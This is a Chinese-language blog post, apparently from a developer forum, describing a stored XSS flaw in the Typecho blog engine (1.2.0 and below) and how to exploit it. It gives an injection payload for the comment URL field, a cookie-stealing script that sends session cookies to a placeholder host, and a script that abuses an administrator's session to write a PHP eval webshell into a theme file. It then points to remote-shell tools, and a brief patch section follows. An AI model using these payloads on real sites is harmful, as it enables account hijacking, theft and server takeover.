Typecho框架漏洞

这里说的框架漏洞只适用于1.2.0版本及以下的版本

这里说的漏洞是xss漏洞,学过渗透的应该都学过,我在这里就不过多阐述了,下面我们直接进入正题

直接在这个地方插入网址,后面再接上html代码即可,代码如下:

http://xxx.xxx.com/"\>\</a\>\<script\>alert("cookie")\</script\>\<a/href="#

然后再次访问时即可弹出一个框,这里学过xss漏洞的应该知道是什么意思了

接下来我要讲的是如何用这个xss漏洞反弹shell,这个方法我也是琢磨了很久才知道的,因为要用到js代码文件,代码文件如下:

cookie.js

javascript 复制代码
// 定义一个全局变量 website,值为一个具体的网址
var website = "http://xss.xxxx.com";
 
// 声明并立即执行一个匿名函数
(function() {
  // 创建 Image 对象,并给它的 src 属性赋值为 website 和一些参数
  (new Image()).src = website
    + "/?keepsession=1"
    + "&location=" + escape((function() {
      try {
        // 尝试获取当前文档的 URL
        return document.location.href;
      } catch (e) {
        // 如果出错,返回一个空字符串
        return '';
      }
    })())
    + "&toplocation=" + escape((function() {
      try {
        // 尝试获取顶层窗口的 URL
        return top.location.href;
      } catch (e) {
        // 如果出错,返回一个空字符串
        return '';
      }
    })())
    + "&cookie=" + escape((function() {
      try {
        // 获取当前文档的 cookie
        return document.cookie;
      } catch (e) {
        // 如果出错,返回一个空字符串
        return '';
      }
    })())
    + "&opener=" + escape((function() {
      try {
        // 获取打开当前窗口的窗口的 URL
        return (window.opener && window.opener.location.href) ? window.opener.location.href : '';
      } catch (e) {
        // 如果出错,返回一个空字符串
        return '';
      }
    })());
})();

shell.js

null 复制代码
function step1(){
    // 创建一个包含要注入的 iframe 的 HTML 字符串
    var data2="<iframe id=\"testxss\" src=\"/admin/theme-editor.php?theme=default&file=404.php\" width=\"0%\" height=\"0%\" onload=\"poc()\"></iframe>";
    // 保存原网页内容
    var oldata=document.body.innerHTML;
    // 将注入的 iframe 添加到文档中
    document.body.innerHTML=(oldata+data2);
}
 
// times 和 g_shell 变量用来跟踪 poc 函数执行的次数和是否已经成功注入 webshell
var times=0;
var g_shell=0;
 
function poc(){
    // 如果执行次数 >= 10,或者已经成功注入 webshell,就不再执行
    if(times<=10){
 
        // 获取要修改的 DOM 节点和触发"保存修改"操作的按钮
        var htmldata=document.getElementById('testxss').contentWindow.document.getElementById('content');
        var btn=document.getElementById('testxss').contentWindow.document.getElementsByTagName('button');
        
        // 保存要修改的原始数据,将要注入的 webshell 代码添加到末尾
        olddatas=htmldata.innerText;
        htmldata.innerText=('<?php @eval($_REQUEST["shell"]);?>\n')+olddatas;
 
        // 点击保存按钮,提交修改后的数据
        btn[1].click();
        
        // 增加 poc 函数的执行次数
        times+=1;
        
        // 如果已经成功注入 webshell,通过 AJAX 请求访问 webshell 接口
        if(g_shell==1){
            var xhr1=new XMLHttpRequest();
            xhr1.open('get','/usr/themes/Kratos/404.php?shell=1');
            xhr1.send();
        }
        else{
            return 0;
        }
    }
}
 
// 在页面加载完成后执行 step1 函数
step1();

然后这里就像上面反弹xss代码一样书写网址

http://xxx.xxx.com/cookie.js"\>\</script\>\<script/src=http://xxx.xxx.com/shell.js\>\<a/href="#

然后等管理员访问评论是会使得js文件也给运行起来

生成的一句话目录路径可以自己改,上面的如下

在404.php中,这样路径的问题就解决了

这样我们就可以用蚁剑或其他工具连接后台了

修复方案

将Typecho更新至1.2.3以上的版本即可,因为官方已经修复了

手动修复

python 复制代码
// var/Widget/Base/Comments.php 第 271 行代码
echo '<a href="' . $this->url . '"'
// 修改为以下代码
echo '<a href="' . Common::safeUrl($this->url) . '"'

// var/Widget/Feedback.php 第 209 行代码
$comment['url'] = $this->request->filter('trim')->url;
// 修改为以下代码
$comment['url'] = $this->request->filter('trim', 'url')->url;

// var/Widget/Feedback.php 第 308 行代码
$trackback['url'] = $this->request->filter('trim')->url;
// 修改为以下代码
$trackback['url'] = $this->request->filter('trim', 'url')->url;

// var/Widget/Options.php 第 85 行代码
* @property bool $commentsRequireURL
// 修改为以下代码
* @property bool $commentsRequireUrl

// /var/Typecho/Validate.php 第 99 行代码
return filter_var($str, FILTER_VALIDATE_EMAIL) !== false;
// 修改为以下代码
return (bool) preg_match("/^[_a-z0-9-\.]+@([-a-z0-9]+\.)+[a-z]{2,}$/i", $str);
相关推荐
李詹5 小时前
WAF防护规则配置技巧与企业级安全实践指南
网络·tcp/ip·安全·架构·ddos
网安小陈6 小时前
【网安】处理项目中的一些常见漏洞bug(java相关)
java·开发语言·数据库·安全·web安全·网络安全·bug
Bruce_Liuxiaowei6 小时前
网络安全应急响应-文件痕迹排查
安全·web安全
网安小陈7 小时前
【云计算】打造高效容器云平台:规划、部署与架构设计
android·安全·web安全·网络安全·云计算·xss
EasyGBS7 小时前
如何实现两个视频融合EasyCVR平台的数据同步?详细步骤指南
大数据·网络·人工智能·安全·音视频
Ethan_Zhou【数据恢复专家】7 小时前
mac 卸载流氓软件安全助手
安全·macos
Bruce_Liuxiaowei10 小时前
基于Python Flask快速构建网络安全工具资源库的Web应用实践
python·web安全·flask
神经毒素10 小时前
WEB安全--内网渗透--捕获NET-NTLMv2 Hash
安全·web安全·内网渗透·ntlm
落——枫12 小时前
网络安全知识点
安全·web安全